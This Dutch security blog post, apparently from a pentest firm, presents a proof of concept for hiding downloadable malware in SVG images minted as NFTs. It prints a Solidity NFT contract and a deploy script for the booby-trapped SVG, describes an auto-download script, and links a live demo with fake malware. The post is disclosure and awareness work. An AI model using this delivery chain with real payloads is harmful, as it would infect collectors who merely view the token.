Bij Non-Fungible Tokens (NFT’s) zoals digitale kunst, collectibles en andere digitale assets zien we niet alleen innovatieve toepassingen, maar ook opkomende dreigingen. Een van de meest zorgwekkende ontwikkelingen waar wij achter zijn gekomen is een niet eerder gezien fenomeen. Namelijk: het smokkelen van malware in SVG-bestanden (Scalable Vector Graphics), wat malafide actoren in staat stelt om schadelijke code onopgemerkt te verbergen binnen ogenschijnlijk onschuldige afbeeldingen.
Wat is Malware-Smuggling in SVG's?
SVG-Smuggler : Wij hebben dit Python-script gemaakt wat een bestand encodeert naar een Base64-string en embedt het in een SVG-bestand. Wanneer de SVG wordt geopend in een webbrowser, activeert het script automatisch het downloaden van het originele bestand.
Waarom NFT's een Ideale manier zijn voor het verspreiden van Malware.
Hoe werkt het deployen van een NFT met een SVG-Malware payload?
Na het maken van een SVG file met een payload, kan deze file worden geüpload naar een NFT-marktplaats. Wanneer een gebruiker de NFT opent, wordt de ingebedde malware automatisch gedownload en kan deze worden uitgevoerd. Het Solidity smart contract voor het deployen van de NFT met daarin de malafide SVG, hebben wij gemaakt en is hieronder te vinden.
pragma solidity ^0.8.26;
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {Base64} from "@openzeppelin/contracts/utils/Base64.sol";
contract PoCSVG is ERC721 {
struct Poc {
string name;
string description;
}
uint256 private s_tokenCounter;
string private s_pocSvgImageUri;
mapping(uint256 => Poc) public s_tokenIdToPoc;
constructor(string memory pocSvgImageUri) ERC721("PoCSVG", "SVG") {
s_tokenCounter = 0;
s_pocSvgImageUri = pocSvgImageUri;
}
function mint() public {
_safeMint(msg.sender, s_tokenCounter);
s_tokenCounter++;
}
function _baseURI() internal pure override returns (string memory) {
return "data:application/json;base64,";
}
function tokenURI(uint256 tokenID) public view override returns (string memory) {
string memory imageURI = s_pocSvgImageUri;
return string(
abi.encodePacked(
_baseURI(),
Base64.encode(
bytes(
abi.encodePacked(
'{"name":"',
name(),
'", "description":"NFT with a PoC SVG that downloads files when clicked", ',
'"image":"',
imageURI,
'"}'
)
)
)
)
);
}
}
pragma solidity ^0.8.26;
import {Script} from "forge-std/Script.sol";
import {PoCSVG} from "src/PocSvg.sol";
import "forge-std/console2.sol";
import {Base64} from "@openzeppelin/contracts/utils/Base64.sol";
contract DeployPocSVG is Script {
function run() external returns (PoCSVG) {
string memory PoC = vm.readFile("./img/poc.svg");
vm.startBroadcast();
PoCSVG pocSvg = new PoCSVG(svgToImageURI(PoC));
pocSvg.mint();
vm.stopBroadcast();
return pocSvg;
}
function svgToImageURI(string memory _svg) public pure returns (string memory) {
string memory baseURL = "data:image/svg+xml;base64,";
string memory svgBase64Encoded = Base64.encode(bytes(string(abi.encodePacked(_svg))));
return string(abi.encodePacked(baseURL, svgBase64Encoded));
}
}
Link naar de volledige repository en uitleg is hier te vinden: Malicious-NFT
Een LIVE proof of concept
Voor deze proof of concept hebben wij een live Proof of Concept gemaakt op de OpenSea . Zodra een gebruiker de NFT opent, wordt de embedded (fake)malware automatisch gedownload en kan deze mogelijk worden uitgevoerd.
https://opensea.io/assets/base/0x5fa7f34b32be7d53396e9d07e2d2a7c59273946c/0
Gevolgen voor de Blockchain- en Community
Conclusie en Proof of Concepts
Het smokkelen van malware in SVG’s is een nieuwe en nog onbekende bedreiging binnen de NFT-wereld. Terwijl de populariteit van NFT’s waarschijnlijk zal stijgen, moeten zowel ontwikkelaars als gebruikers proactieve stappen ondernemen om de veiligheid te waarborgen en de integriteit van blockchain-platforms te beschermen. Door middel van awareness, geavanceerde beveiligingstools en voortdurende waakzaamheid kunnen we deze dreiging het hoofd bieden en een veiliger digitale toekomst bevorderen.
Voor meer volledige documentatie en informatie:
Blijf up-to-date over cyberrisico's!
Wekelijks delen onze hackers hun kennis en expertise. Door je in te schrijven voor de Vulnerability Update ontvang je wekelijks een tip van een ethisch hacker over kwetsbaarheden in software in systemen. Door te begrijpen hoe aanvallers kijken naar jouw organisatie, hopen wij jullie verder te helpen in de wereld van cyber security. Wil jij wekelijks dit soort blogs lezen? Schrijf je dan hieronder in!
Maar wil je meer weten over het structureel inzichtelijk maken van kwetsbaarheden in software en systemen, lees dan meer over onze Hacking as a Service oplossing. Naast het regelmatig pentest bieden wij ook een security monitoring tool die dagelijks jullie webapplicaties en/of interne netwerk scant op deze talloze CVE’s.
Of meer lezen over Hacking as a Service >>
Kosteloos 1 uur pentesten?
Bij Tozetta kun je vrijblijvend een Pentest Quickscan aanvragen. Tijdens de Quickscan gaat een ethisch hacker kosteloos één uur een pentest uitvoeren. In dit uur maakt de ethisch hacker het aanvalsoppervlak inzichtelijk. Op basis hiervan kan een urenindicatie voor jullie vraagstuk worden bepaald en krijgen jullie inzicht in de mogelijke pentest kosten. Interesse in een pentest uitvoeren? Vul vrijblijvend onderstaand formulier in!
Vraag een Quickscan aan
- Gratis advies
- Vrijblijvend
- Vernieuwde inzichten